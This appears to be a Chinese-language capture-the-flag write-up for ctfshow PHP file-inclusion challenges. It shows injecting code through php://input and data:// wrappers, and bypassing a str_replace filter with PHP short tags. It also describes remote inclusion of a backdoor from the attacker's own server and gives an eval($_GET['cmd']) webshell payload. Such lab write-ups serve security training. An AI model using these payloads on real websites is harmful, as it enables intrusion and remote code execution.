ctfshow——文件包含

文章目录

  • web 78——php伪协议
    • 第一种方法——php://input
    • 第二种方法——data://text/plain
    • 第三种方法——远程包含(http://协议)
  • web 78——str_replace过滤字符`php`
    • 第一种方法——远程包含(http://协议)
    • 第二种方法——data://,php短标签

web 78——php伪协议

ctfshow——文件包含_第1张图片

第一种方法——php://input

这里不知道flag.php的文件路径,可以考虑使用php://input尝试执行php语句,获取文件路径。

	# url栏
	?file=php://input 
	# POST data
	<?php system('ls');?>

ctfshow——文件包含_第2张图片
cat flag.php可能读取不了文件,这时候试试tac flag.php。linux tac命令是倒序读取文件,也就是从最后一行往前读取文件。

ctfshow——文件包含_第3张图片

第二种方法——data://text/plain

data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。用法:

data://text/plain,<php代码>
data://text/plain;base64,<php代码>

ctfshow——文件包含_第4张图片

第三种方法——远程包含(http://协议)

ctfshow——文件包含_第5张图片
架设外网服务器,使用远程包含自己服务器上的后门文件,即可获取webshell。

php伪协议总结
ctfshow——文件包含_第6张图片

web 78——str_replace过滤字符php

ctfshow——文件包含_第7张图片
首先,根据php特性,str_replace无法迭代过滤,只过滤一次。此处,如果用空格替换,可以直接使用双写进行绕过

第一种方法——远程包含(http://协议)

ctfshow——文件包含_第8张图片
架设外网服务器,使用远程包含自己服务器上的后门文件,即可获取webshell。

第二种方法——data://,php短标签

既然过滤php字符串,使用data://协议,同时使用php短标签避免出现字符串php

 @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>

ctfshow——文件包含_第9张图片

你可能感兴趣的:(渗透测试实践,网络)